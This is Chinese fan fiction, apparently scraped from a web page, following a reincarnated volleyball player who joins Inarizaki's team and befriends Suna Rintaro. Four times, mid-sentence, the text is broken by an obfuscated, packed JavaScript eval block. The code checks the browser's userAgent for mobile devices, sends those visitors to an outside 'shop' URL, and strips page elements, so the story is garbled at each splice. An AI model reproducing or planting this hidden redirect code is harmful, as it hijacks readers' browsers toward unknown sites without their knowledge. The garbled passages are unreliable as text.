《和排球部前辈弟弟恋爱后》 1. 初见 清晨,阳光透过百叶窗打在木制地板上,泛起柔和的一片光晕,房间的床上是一个银发的少年,深色的被子衬得他的肤色白皙到透明,甚至到了苍白的地步。 突然,房间外传来了克制的敲门声。 随着不急不缓的三下声音,北裕介睁开了眼睛,关上床头的夜灯后缓缓直起身子。 这是他住到奶奶家之后第一次去学校,也是他穿越到这具身体后第一次去上学。 虽然北裕介的心理年龄已经接近三十岁了,但是面对原身奶奶带着希冀的眼睛时,还是答应了下来。 至少他看起来只有十六七岁,上学也是应该的,不是吗? 北裕介试图对着镜子里那个和他自己四五分像,又更加清秀的少年笑笑,没笑出来。 他在不喜欢的事情上从来不会难为自己,就没再尝试,转身走出了房间。 “早。” 餐桌旁是一个长相同样清秀的少年,和他有两分像,但是头发的颜色很独特,整体都是漂亮的银色,但是下端有小小的一截是黑色的,整体看起来还算和谐。 这是原身的表哥,比原身大一岁。 “先吃早饭,一会去学校。” 北裕介慢吞吞的点点头,在早饭结束后跟着北信介的脚步来到一所陌生的学校。 稻荷崎。 名字倒是蛮有神性的,北裕介低头迈进校门。 北裕介的班级是高二三班,北信介早早的帮他和老师打了招呼,安排好了位置。 大概甚至还和老师沟通了他不爱说话,他连自我介绍都没做,整个流程都被老师安排了个明明白白。 连同学们对转校生的好奇也被他冷淡的态度挡了回去。 一上午过后,北裕介怏怏的趴在桌子上,面上难得有了一些表情。 老师的关西腔太重了,要费点劲才能听懂,他现在又懒得费劲,所以一直处于灵魂出窍的状态。 就是不知道能不能窍回他原来的身体里,毕竟原身的亲人对他都很关心,要是发现自己的亲人变成了一个陌生人不知道会有多伤心。 果然他在哪都是多余的人。 班级里的人都成群结伴的去吃完饭了,所以北裕介肆无忌惮的在座位上发呆。 直到北信介曲指敲了敲他面前的桌子。 “去吃饭?你早上忘记带便当了。” 面前的便当脸包装都很严实,一看就是精心准备的,还有很大的可能性是年迈的奶奶准备的。 北裕介顺从的站起身,跟着北信介来到食堂。 食堂比他想象中要热闹的多,入耳都是上扬的尾音,叽叽喳喳的吵得他头疼。 所以哪怕饭菜出奇的合胃口他也没吃进去多少。 北裕介悄悄的放下餐具,看着对面干干净净的便当有点心虚,浪费粮食了啊。 北信介这几天和他的交流很少,更是没有说过一句重话,为什么他总有种会被批评的感觉呢……这就是血脉压制吗? 北裕介张了张嘴,想说点什么,被突如其来的一阵打闹声吓了一跳,到了嘴边的话又咽了下去,循着音源看过去。 是一对双胞胎,全身上下只有头发颜色不一样,正在扯着领子薅着头发拌嘴吵架。 看起来感情似乎还不错。 北裕介没打算继续看下去,打算转过身收拾便当,余光略过了一双淡绿色的瞳孔。 挺漂亮的颜色,和他朋友以前养的小猫的眼睛是一样的。 硬要说的话,这双眼睛更有灵性一点。 他又偏过头,想要再仔细看看,可惜的是人群杂乱,没找到。 北信介注意到他的动作,一边继续收拾一边说道:“那是社团活动的学弟,性格比较活泼。” 确实挺活泼的,北裕介深以为然的点点头。 不过北信介没有结束这个话题的意思:“稻荷崎的排球社团氛围还挺不错的,医生说你要慢慢增加点运动量,要不要来排球部?不需要像以前那样,就当放松放松心情。” 他观察着对方的神色,直视着他补上后半句:“你还想打排球吗?” 什么叫他还想打排球吗,北裕介的脊背顺着头皮一阵发麻,像是被电击了一样。 他上辈子从小就开始打排球了,哪怕一直没有什么成绩,在俱乐部也没有当上正选,甚至到后来韧带撕裂半月板损伤,他也要做手术延续自己的排球生涯。 他当然想继续打排球了。 只不过为什么北信介这么问他,原主也是打排球的吗?为什么他一点记忆都没有? 北裕介茫然的看向对面的人。 北信介拿出一张纸递给他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185101|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你再好好想想,裕介应该是喜欢排球的吧?不管怎么样,你的喜欢都是最重要的。” 等到北裕介恢复意识,他已经攥着那张纸坐在教室里了。 看着那张排球入部申请书,他长长的、长长的叹了口气。 “角名?角名?!别发呆了你看什么呢那么入神?” 宫侑皱眉,豪不客气的使劲儿锤了一下好友的后背,顺着他的视线看过去。 明明什么都没有啊。 角名伦太郎这才从刚刚的场景中回过神,他面上神色不改:“在想怎么才能离你们俩远一点,太丢人了。” “哈?!你再说一遍!!” 角名伦太郎一点都不想和这对笨蛋双胞胎纠缠,他反手背上包:“我去上课了,下午球馆见。” 宫侑在后面喊了两声都没得到回应,用胳膊肘怼了怼宫治:“你觉不觉得角名怪怪的?” 是有一点,不过蠢侑也能感觉到? 宫治转过视线,正想和他讨论一下时就听见了宫侑惊奇的回答。 “今天咱们打架他竟然没有拍照片!!” 宫侑越说越感觉奇怪:“难道是手机没电了?” 宫治沉默了半晌:“可能吧。” “哎蠢治我是认真的!你看我刚刚打他他都没有损我……肯定是不对劲……” “嗯嗯对。” 角名伦太郎的手机当然还有电,他只是有点好奇。 北前辈竟然也会和人一起吃饭,还那么细心照顾,餐前擦桌子餐后收拾便当。 亲戚吗?角名伦太郎没有忽略那张和北信介有两分像的脸,头发颜色也很相似。 鬼差神使下,在对视后角名伦太郎避开了他的视线,反而在身后悄悄跟着。 也不算变态吧?他只是想知道他是哪个班级的而已,一点点人人皆有的好奇心而已。 说服了自己的角名伦太郎悄悄的跟在后面,看着那道隽秀的身影走进了一间教室,坐在了角落里。 高二三班,就在他的隔壁班。 离得还蛮近的。 角名伦太郎最后瞥了一眼后排的身影,才状似无意的回到了自己的班级。 身后没有了让人如芒刺背的感觉,北裕介这才抬头向外看,只看见了一道淡黄色的身影,是稻荷崎校服的颜色。 2. 入队 这一天还算顺利,直到晚饭时北裕介对北信介说加入排球部的事情还要想想,明天给他答复。 北信介盯着他看了良久,直到北裕介心里有些发毛时才点头答应。 现在他每天要做的事除了睡觉就是发呆了。 倒不是因为他有多爱发呆,单纯是脑子里乱七八糟的,像是一团怎么也找不到头的线团。 好像忘了些什么,又好像有什么在阻止他想起来,连带着脑子都昏昏沉沉的。 北裕介长长的叹了口气,侧着身子瘫在桌子上。 不过今天好像缺了点什么…… 北裕介转了个头,猝不及防的和熟悉的眼睛对视了一下。 对方反应很快,被发现了之后立马假装没事一样转身离开了。 北裕介莫名有点想笑,堵的不行的心口似乎也疏通了一些。 至少他现在想不起来那些前世今生,满脑子都是那双懒洋洋的眼睛被吓了一跳,突然睁大了一圈的样子。 他不知道对面想做什么,但是还怪好玩的。 就当看做那双眼睛的份上吧。 北裕介继续按部就班的上课、发呆、顺便感受一下在暗处盯着自己看的狐狸的目光。 至于为什么是狐狸……学校都叫稻荷崎了有狐狸难道不是正常的吗? 狐狸的靠近总是悄无声息的,又很容易让人形成习惯。 就像进了一间有着香水味的房间,刚进去时反应强烈,时间长了反而闻不出味道了。 取而代之的是浑身沾满味道的自己。 北裕介转了转笔,感觉狐狸应该走远了,顺手把刚刚填好的申请表夹在笔记本里,打算找机会直接给北信介。 有一个是排球队队长的表哥是这样的。 既然打算继续打排球了,北裕介站起身,把书包甩到后背上,还是在入部之前练习一下吧。 走后门进去也不能表现的太菜吧?丢自己和北信介的脸。 他记得北信介说过这里有一个小排球馆来着…… 北裕介顺着小路左拐右拐,终于找到了一家球馆,确实是不大,但是看上去很干净。 交了钱进了球馆,北裕介随便发了两球熟悉一下感觉。 手感出奇的不错。 北裕介看向自己的右手,手掌、手指处都有很明显的茧子。 原身应该打球很努力,也很厉害,否则不会在卧床好久之后还有这么明显的肌肉记忆。 这具身体很轻盈,再加上北裕介已经太久没痛痛快快的打过球了,一不留神就练习到了很晚。 看着天色已经黑了,北裕介不免有些心虚,这个时间……连排球部的训练都结束了吧? 也不知道奶奶会不会担心。 不过这点顾虑在他转角遇见刚刚下训的排球队众人时就消散了。 这么多人,北裕介刚想装作没看见转身直接走北信介就叫住了他。 “裕介,一起走吧。” 北信介没问他去哪里了,只是用一贯平淡的语气说道。 北裕介看着一大群人,硬着头皮走了过去:“晚上好。” “晚上好,”北信介的嘴角微不可见的上扬了一点:“这是排球部的队友。” 北信介依次简单介绍了一下,然后走到北裕介旁边:“这是我表弟,北裕介。” 北裕介按照他指的方向看过去,意料之中看见了那双淡绿色的眼睛。 他果然是排球部的。 北裕介眨了眨眼睛:“你们好。” 原来他叫角名伦太郎,发型还蛮别致的,长的也很帅。 他只略微的看了一眼 就转移了视线,继续认真走路,忽略了一群人好奇的眼神。 宫侑在一旁思考这个过于熟悉的名字,北裕介,北裕介,北…… 哎?! 这不是那个从小就被发现有天赋,很早就被签进俱乐部的小天才吗? 只不过后来就没了下文而已。 宫侑眼睛一亮,刚要说话就被宫治捂了嘴:“你……唔!” 安静点,有事回头说。 宫治朝他无声的做口型。 宫治也认出来北裕介,毕竟他和宫治一起讨论过这个和北信介过于相似的名字,只是没想到两人真的是亲戚。 但是不管是他突然转学到稻荷崎,而且并没有加入排球部,还是比起运动员过于单薄的身体,都代表着 ——这并不是提起以前那些新闻的好时机。 哪怕偷偷和北前辈打听都要比这样大大咧咧问出口好吧? 宫侑只是在除了排球上的事情懒得动脑子,但是不代表着他没脑子,在转过弯后就讪讪的闭了嘴。 角名伦太郎是唯一没有表现出惊讶的人,毕竟他的情报比在场的人都早了两天,理所当然的打听了北裕介的名字和经历。 但是他刚刚阻止宫侑的动作比宫治慢了半拍,只能若无其事的放下手,心思却飘出去很远。 和北裕介交换了名字之后,就能顺理成章的成为朋友了吧? 到了岔路口,角名伦太郎转过身:“北前辈再见。” 他的视线自然而然的落在北裕介身上,似乎在思考应该怎么称呼他。 北裕介当然注意到了他的停顿,轻轻开口:“叫名字就好。” 角名伦太郎得到满意的回答,扬了扬嘴角:“那再见,裕介。” 岔路口的另一对兄弟,宫治看向宫侑:“角名是不是没和咱们俩说再见。” 啊,被忽视了呢。 宫侑的好奇来的快去的也快,既然北裕介好像没有要继续打排球的样子,他就没有继续打探这个人了。 他一向不会在多余的事情上浪费时间,有那功夫不如去练习两个发球。 宫治倒是有点好奇,于是他敲了敲和角名的对话框。 片刻后,对方给他发过来一张照片。 大概是他不知道从哪个论坛里的犄角旮旯扒拉出来的,是北裕介以前准备比赛的照片。 照片上人看起来还很小,没有开始发育长个子,正在垂着眼睛听着旁边的人说什么,嘴角也微微向下撇。 看起来倒是很沉稳,一点都没有同龄小孩子的活泼。 宫治对他那个年龄段没有什么记忆,但是从妈妈偶尔抱怨的话里可以看出来,他和宫侑应该是那种很让人头疼的孩子。 那么北裕介就是那种很典型的别人家的孩子了。 【那么小就开始打比赛了,为什么现在不打了?发生什么了吗?】 角名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185102|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伦太郎干脆利落的甩给他一句“不知道。” 角名伦太郎确实不知道,但是从一些可以找到的照片视频里可以看出来,小时候就开始四处比赛的北裕介看起来不怎么开心。 不喜欢的事情,不做了不是很正常的事吗? 他又不是宫侑那个排球笨蛋,满脑子都是别人打不打排球,北裕介打不打球对他而言都一样的。 就是要找个别的切入点和对方熟起来了,顺便要注意在他面前尽量不要提起来排球…… 绞尽脑汁的角名伦太郎第二天就在排球部看见了心心念念的人。 北裕介跟在教练和队长的后面,对着一众人鞠躬问好。 “大家好我是北裕介,副攻手。” 黑须法宗冲着北裕介笑笑,又面向其他队员说道:“以后北裕介就是我们稻荷崎排球部的一员了,大家掌声欢迎。” 掌声里,黑须法宗看向北裕介:“你先跟着大家一起热身,跟在后面就行,慢慢来。” 北裕介慢慢的点点头,感受到了来自监督的好意。 他的运动量要慢慢的跟上来,不能一下子就上特别大的强度。 于是他在热身跑步时默默的坠在队尾,被人落了一大截也不放在心上。 直到第三圈,一个身影跟在他旁边。 是角名伦太郎,懒懒散散的半睁着眼睛,看起来像是只是单纯的掉队了。 “角名又在偷懒了。” 互相较劲的双胞胎已经跑完了热身的五圈,宫侑一边活动手腕一边吐槽道。 宫治朝慢跑的两人瞥了一眼:“有北前辈看着呢。” “好——吧——” 宫治皱眉:“你又发什么疯?” 宫侑对着跑步的北裕介直勾勾的发呆:“身高不错……但是看着也太瘦了,也不知道摸高多少……” 行,果然是又犯病了。 “那你就去找他试一下啊?二传早晚不就是要和攻手配合的吗?你以前不是对他挺感兴趣的吗。” 宫侑目不转睛的嘀咕:“以前是以前的事啦,他要是太久没打球变成球痴怎么办?我讨厌和球痴打球。” 宫治不想理他,换了个地方热身,留着宫侑自己在这里盯着 五圈之后,北裕介停下脚步,调整了一下自己的呼吸。 还可以,不算特别累。 “拉伸的地方的在那里。” 入耳的声音也是慵懒的,像是没睡醒,带着点儿磁性。 有点意外,他还以为对方不会主动来找他说话。 北裕介点点头,转过头:“一起吗?” 角名伦太郎当然不会拒绝。 非比赛前的热身角名伦太郎都不会做得很细致,但是这次北裕介在旁边,他也跟着悄悄放慢了速度,顺便忽略了在一旁表情苦大仇深的宫侑。 “喂,”宫侑的表情有点别扭:“我是稻荷崎的二传。” 这是在和他说话吧? 北裕介眨眨眼,有点不明所以:“嗯。” 宫侑咬牙:“所以你如果不是来稻荷崎混日子的话,来和我练两个球。” 要练球啊,北裕介恍然大悟。 直说不就好了,为什么要拐弯抹角的。 “那走吧。” 3. 队友 北裕介感觉自己的回答没什么问题,就是不知道对方的脸色为什么更难看了一点。 宫侑难得感觉一哽,冷冰冰的丢过去两个字:“摸高。” 很简单也很必要的问题,但是把北裕介问得一愣。 “嗯……” 宫侑的眼睛愕然睁大,语气里充满了不可置信:“你摸高多少你自己不知道?!” 北裕介老老实实的回答:“之前知道,现在不确定。” 宫侑的脸色更臭了。 黑须法宗看够了热闹,清了清嗓子:“那就先测一下再练习吧?反正也不麻烦。” 其他人新学年的身高摸高等已经在新学年的第一天测过了,所以一群人围在一起看新队员的表现。 确实很久没测这个了,北裕介看着手上粘的白色粉末有点愣神。 但是不管怎么样,记忆还是在的。 助跑,屈膝,起跳。 篮板上留下了手指印形状的白色痕迹。 拿着卷尺的队员很快报出成绩:“332cm。” 在北裕介184的身高里算是一个相当不错但还不算顶尖的高度。 但是…… 众人看着他明显要比其他人瘦削的身体,这怎么看都有很大的进步空间吧? 就算再怎么保守来看,北裕介经过一段时间的锻炼之后都会达到一个很惊人的程度。 不过处于视线中心的北裕介不这么觉得,他皱皱眉,明显对这个成绩不太满意。 黑须法宗点点头:“还有很大上升空间,北……裕介你的饮食和训练要注意一点。” 北裕介点点头,想了想说道:“大家直接叫名字就好。” 毕竟两个北还是太难区分了。 黑须法宗从善如流的改口:“那裕介你先去和侑试两个球,然后这两天多做点基础训练。” “其他人也别在这发呆了,赶紧去练习。” 挤在一起的人一哄而散,但是不管是垫球练习基础动作的,还是活动手腕避免拉伤的,都在用余光偷偷看向场上的两个人。 就连教练也…… 教练当然不用偷偷看,他光明正大的站场边仔细看。 宫侑和北裕介刚开始配合的两球已经初现雏形了,高度和力道都很不错。 但是还是缺点什么呢,黑须法宗微不可见的皱了皱眉。 还没等他张嘴指导些什么,就见场上的宫侑不满的说道:“适应的差不多了吧?” 作为二传,而且是顶尖的二传,了解攻手的状态对宫侑来说再简单不过,他自然也能知道北裕介是个什么状态。 北裕介的确适应的还算不错,就点了点头。 没想到这个看起来脾气不太好的二传技术还不错,刚刚那几球的手感都相当好,而且还照顾到了他刚刚上手的状态。 “麻烦再高一点,近网一点。” 二传的传球很符合他的心意,北裕介说话也客气了不少,难得的带了敬语。 于是下一球完美的托到了他最舒服的位置。 二传从某种程度上来说是可以提高攻手的扣球的能力的,这球扣出去的下一秒北裕介就眼前一亮。 这球也如他所预料的那样快速旋转,而后狠狠的砸在地上。 黑须法宗离这球的落点很近,清楚的看见这不仅是个旋转球,还是个压线球。 虽然有心理准备,但是他还是不免被这球惊艳了一下。 “太棒了!” 有声音和他的心声重合了,黑须法宗一愣,他应该没说出口吧? 话是宫侑说的,他上前两步,眼睛里闪着光看向北裕介:“你控球能力真不错!不过力道还是差了点……肌肉太少了,要多锻炼啊……” 眼看着他的话越来越多,黑须法宗清了清嗓子制止了宫侑的滔滔不绝。 “的确不错,裕介,来场2V2吧?” 得到肯定的回答后,黑须法宗叫来了在角落里偷看的角名伦太郎和宫治。 宫治扯了扯被喊了两遍还没有动作的角名伦太郎,以为他又在摸鱼没听清监督说什么,小声提醒了一句。 角名伦太郎这才从刚刚的那幕里缓过神。 少年高高跃起,全身的每一块肌肉都被充分调动,像一把拉紧了的弓,严阵以待,仿佛下一秒就会爆发出极大的力量。 夕阳暖光的的阳光透过排球馆很高的窗户,正巧洒在他身上,银白色的头发有几簇被染成了暖黄色,连带着瞳孔都是淡淡的琥珀色。 角名伦太郎有点手痒,好像是想把那一幕拍下来,又好像是想和他打一场球。 但是不管是什么,他都有实现的机会。 角名伦太郎垂眸,隔着网站在了北裕介的对面。 黑须法宗满意的看着网前面对面的几人:“你们先按这个阵营打两球试试。” 2V2的小练习就没必要发球了,北裕介拿着球,随意的向前面一抛。 面前的人一个在发呆一个满脸无所谓的样子,但是在开始后都马上进入了状态。 甚至两个人的配合还相当不错。 2V2的好处就在于不需要去推测由谁来进攻,毕竟只有两个人。 是个快攻。 北裕介的判断一向又快又准,他的动作目前还跟不上意识,但是他旁边还有一个水平不错的队友。 “左翼。” 话音刚落,宫侑就已经移动到位了,北裕介比他慢了小半拍到位。 面前是密不透风的拦网,角名伦太郎面色不变,加大身体弯曲的弧度,看着球险险的擦过北裕介的手砸在场内。 得分了,角名伦太郎落地的第一反应是: 幸亏今天热身很到位,要不然可能会直接被送进医务室。 北裕介看了眼落在己方半场的球,眨眼的动作都慢了一些。 这个弧度,有点反人类了吧? 别说北裕介,宫侑宫治一同惊讶的看向角名伦太郎:今天状态这么好吗? 宫侑难得的丢了球面色还算好看,他看向北裕介,别别扭扭的说道:“别在意,你的拦网意识挺不错的。” 北裕介点点头:“我知道。” 他又在不高兴什么?看着宫侑半黑的脸,北裕介有点迷惑,给出了一个漂亮的一传后准备助跑起跳。 宫治和角名伦太郎平时做的拦网配合很多,此刻的拦网很有默契的封死了北裕介面前进攻的路线。 以他现在的力气大力扣球肯定是会被直接拦死的…… 北裕介向宫治右边的空地看了一眼,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185103|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方调整拦网时干脆利索的把球砸在他的手指尖上。 很漂亮的打手出界。 北裕介甩了甩手,把手心举到宫侑面前,看着对方击掌之后变得好看了不少的脸色叹气,又感到理解。 二传嘛,有点脾气很正常。 这场2V2打到了五分后就被黑须法宗叫停了,本来就是为了互相了解的小比赛,真打到25分得累死他今天刚刚得到的好苗子。 “裕介啊,你最近就多和队里的联系一下配合,具体的训练方案大概三天后给你。” 黑须法宗压下翘起的嘴角,装作严肃的对北裕介说,心里的想法却早就飞远了。 北裕介的技术很漂亮也很稳定,一传拦网扣球都很出色,最重要的是他前后的状态很统一,完全可以成为队内定心的角色。 这也正是这支跳脱肆意的队伍所需要的最后一块拼图。 真是好苗子啊,信介能管住场下的那帮混球,偶尔上场稳定状态,裕介能在比赛里全场影响队友。 北家真是好人家,给稻荷崎出了这两个省心的队员。 “教练怎么了?在那又哭又笑的,表情这么丰富。” 宫侑正打算带着北裕介再来两球,就被角落里的黑须法宗吓了一跳。 宫治瞥了他一眼:“可能是被你气疯了吧?” “呸!”宫侑瞬间炸毛:“你以为你好到哪里去了吗?再说我今天什么都没干好吗?” 尾白阿兰清清嗓子:“北在看着你们呢。” 宫治立马转头假装吹口哨,宫侑转身拉着北裕介:“走啊去练球。” 北裕介活动了一下自己的肩膀了大腿,感受了一下才回答:“最多还能扣十个球。” 没有稳定的训练不能一次性做太多扣球类的练习,要不然第二天胳膊都会抬不起来,别说继续练习了。 宫侑也知道这点,他撇撇嘴:“行,十个就十个,然后我带你熟悉一下手势和配合。” …… 尾白阿兰有点震惊:“阿侑也会这么有耐心,真是少见。” 宫治一眼就看穿了双胞胎兄弟:“技术比较合心意吧。” 之前北裕介没加入排球部时他可不是这个态度。 “也是,”尾白阿兰点点头,看向另一边时又被震惊了一下:“角名今天竟然主动练习了?他不是一向没人叫他就不去吗?” 这个确实是少见,宫治来了点兴趣看过去。 不出所料的看见角名在跟着宫侑北裕介两人练习,嗯……仔细看的话,态度确实要比以前积极一点。 宫治最后看了一眼罪魁祸首,慢慢站起身:“走吧,去练习。” 确实看了很久热闹了,也该去练习了。 尾白阿兰跟着站起身,拿起一只排球,一边向球场走一边思考怎么能让自己的扣球更有技巧性一些。 他的扣球力道已经够大了,不然也拿不到全国五大王牌之一的名号,不过只靠力道肯定是还不够的。 尤其是被对手疯狂针对的时候。 角名的扣球对自身条件的要求太高了,宫治是天赋型选手而且和二传是双胞胎…… 要不要去找新来的北裕介同学问一下呢,就是他看起来不太喜欢说话的样子,不知道会不会愿意和他聊天。 4. 练习 “扣球的技巧吗?” 北裕介茫然的看向面前的尾白阿兰,应该是个混血,看起来很壮,扣球的力道应该很大吧。 他突然有点羡慕,自己不知道多久才能把肌肉重新练回来呢。 认真等待回答的尾白阿兰反而收到北裕介一个带着些许羡慕的眼神。 。? 应该是看错了吧。 尾白阿兰把荒谬的想法抛之脑后,认真的回答:“对。” 北裕介的嘴张开又合上,合上又张开,就这样循环了半天。 尾白阿兰疑惑的晃晃头,是他耳朵出了问题吗?怎么只能看见对方张嘴听不见声音呢。 北裕介尝试组织语言,半晌后才吐出一句话:“就……多练习?旋转球转手腕,打手出界瞄手尖。” 回答的太简单了,尾白阿兰看着他一愣。 北裕介不知道他为什么发愣,也只能跟着他一起面对面大眼瞪小眼,又觉得有些尴尬,目光四处乱飘。 他们俩在那面对面一杵在排球馆里可太显眼了,宫侑乍一转头还被吓了一跳。 但他一向是看热闹不嫌事大的类型的,反正这两个人又不是要吵架,他索性放下手里的排球,转头和宫治咬耳朵。 “以后熟起来点就不会这样了,也就好玩这一段时间……能不能让角名拍下来啊,哎?角名呢?” 宫治跟着宫侑的视线转了个圈,果不其然,角名已经闪现到事故现场了。 平时训练都没见速度那么快。 角名伦太郎状似无意的路过两人,他半低着头,腿动的比脑子快,其实根本没想好借口。 北裕介倒是先发现了他,转过头去看他。 角名伦太郎偏头避开他的视线,看向尾白阿兰:“去练配合吗?” “啊?” 尾白阿兰很少、不,应该就是从来没有受到过角名伦太郎的训练邀请,一些必要的配合都是在他们威逼利诱后才进行的。 今天的太阳应该不是从西边升起的吧? 虽然震惊,但是面对队友难得的上进心,尾白阿兰还是有些激动的:“去!” 他们两个丢下另外一个当事人肯定是不好的,尾白阿兰看向北裕介:“裕介,一起吗?” 北裕介简直是松了口气,连忙摇头拒绝了。 感谢角名同学的勤奋,要不然他不知道要在这里僵持多久。 热闹没有了,宫侑不满的撇撇嘴,站起身走到北裕介旁边,顺便忽略对方被吓了一跳的反应。 “我带你认一下队内进攻的手势吧。” 虽然手势这种东西都大差不差,但是队伍之间还是有差别的。 见对方乖乖点头,宫侑不知道怎么得有点别扭:“要好好记住,我可不会反复说好多遍。” “这是近体快,副攻要好好记住这个,这是背快,这是短平快,这是后排进攻,这是半高球……” 虽然宫侑嘴上这么说,但是讲解的时候主动放慢了一点节奏,以免对方跟不上。 看在这是北前辈的表弟的份上,宫侑在心里轻哼一下,而且他还对自己用敬语了哎。 虽然只叫了一次,但是前辈照顾一下后辈也是应该的。 另一旁黑须法宗挑了挑眉:“我还以为裕介会是侑不怎么喜欢接近的类型,没想到他们两个相性还很不错嘛。” “是吧,北?” 北信介在他不远处垫球,闻言抬头回答:“裕介一直是很讨人喜欢的孩子。” 黑须法宗回忆了一下北裕介两句话就把宫侑气的不行的样子,欲言又止。 可能是自己的家人所以有点滤镜吧,也正常,正常。 稻荷崎在非赛前时差不多是晚上六点半下训,六点四十陆陆续续的出校门回家。 角名伦太郎默默放慢了一点速度,蹲在柜子旁系鞋带,直到旁边传来聒噪的打闹声。 “哎?角名你今天还没走?那一起去便利店吧。” 宫侑眼尖,一眼就看见在柜子前的角名伦太郎。 答应归答应,但角名伦太郎确实是没什么想吃的,干脆走进了便利店的最里面的冰柜处挑冰棒。 现在是四月份,还是有点冷的,不过对十七八岁正是火气旺的少年不算什么。 北裕介也不怎么想吃东西,不过他还要增肌,或多或少还是要吃一点的。 溏心蛋还是鸡胸肉呢……感觉都不怎么好吃的样子。 北裕介叹了口气,正想随便拿一个,就听见了熟悉的清浅的嗓音。 “要是鸡胸肉的话,这个牌子的好吃一点。” 北裕介转头,不出意外的看见了熟悉的眼睛,是角名伦太郎。 “谢谢。” 他拿了一个角名伦太郎说的鸡胸肉,无意间瞥到了他手里的冰棒:“现在吃冰棒不冷吗?” 角名伦太郎带着他走向收银台,边走边说:“还好吧,太热的天气吃的话会很快化掉的。” 他们买的很快,宫治和宫侑还在店里因为不同口味的饭团争执,其他人在里面看热闹,于是北裕介和角名伦太郎坐在门口的长椅上等待。 角名伦太郎拆开了冰棒,轻轻掰开,目光却看向前面的灌木:“要尝尝吗?” 北裕介犹豫了一下,按理说他不应该吃这些对身体没有好处的东西,但是:“谢谢你,角名。” 他今天不想按理来。 北信介看见北裕介手里的冰棒时轻轻的皱皱眉,但是什么也没说:“走吧。” 宫侑和宫治关于饭团的辩论最后以宫治胜出为结果,因为宫侑的零用钱花完了,结账的人最大。 角名伦太郎默默的扯了一下嘴角,代表自己的嘲笑。 结果被宫侑抓了个正着:“喂角名你什么意思?” “什么都没有,你看错了。” “我绝对没有看错,你这是在侮辱二传手的眼睛!” 角名伦太郎叹了口气:“你就是看错了,我到家了,先走了。” “北前辈再见,裕介再见。” 北信介点头:“角名,再见。” 北裕介扭过头,跟着北信介说:“再见,角名——” 岔路口离家里还有点距离,北信介转头:“稻荷崎怎么样?” 北裕介低头踩着路上的树叶:“挺好的。” “那就好。” …… 稻荷崎确实是个很好的学校,排球部里的教练队员也都很友好。 如果他不需要增肌锻炼就好了。 北裕介轻吐了半口气,感觉生活无望。 黑须教练当时嘴上说着三天内给他的训练清单,实则他第二天就收到了。 如果说严苛的训练还可以忍耐的话,那他的食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185104|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物清单就有点折磨人了。 不仅是吃固定的食物,而且还要吃够量。 北裕介先是在床上躺了很久,后来的复健更是没有多大的运动量,食量小了很多。 只能硬着头皮吃。 “辛苦了。” 角名伦太郎拿着便当,充满敬畏的看了一眼他的餐盘。 “不辛苦。” 命苦。 角名伦太郎刚想笑,余光里就看见了一抹熟悉的身影:“北前辈好。” 北信介点点头,坐在了对面。 角名伦太郎张了张嘴,试探性的问:“北前辈刚下课吗?老师拖堂了?” 北裕介也跟着抬头看,北信介今天确实要比往常晚一点,一般都是他们俩先吃,角名伦太郎偶尔过来和他们一起吃饭的。 今天竟然是角名到了他还没到。 “嗯,老师找我聊了聊咱们排球部的事。” 北裕介好奇的问:“关于什么的?” 角名伦太郎的消息向来灵通,想了想问:“是合宿的事吗?听说咱们要有一个县内的小合宿。” “对,老师说要注意队员的成绩。” 原来是这个,北裕介点点头,信介哥是队长,又是品学兼优的好学生,老师拜托他也正常。 “话说,”北信介的声音很浅淡,也很平稳:“裕介你的学习怎么样?能跟上吗?” 北裕介咬了咬勺子,不锈钢的材质硌的他牙一疼,含含糊糊的说道:“还好吧。” 最近也适应了关西腔,听讲也不会觉得别扭了,但是也只是勉强,离北信介那种成绩还是有距离的。 “角名也是,要好好学习。” 心里刚刚涌上一点的庆幸瞬间消散,角名伦太郎老老实实的回答:“好的,北前辈。” 北裕介和角名伦太郎显然不算是排球部里最需要担心的,学习苦手另有其人。 ——比如某对双胞胎。 北信介的补习也很有他本人的风格,条理清晰,一针见血。 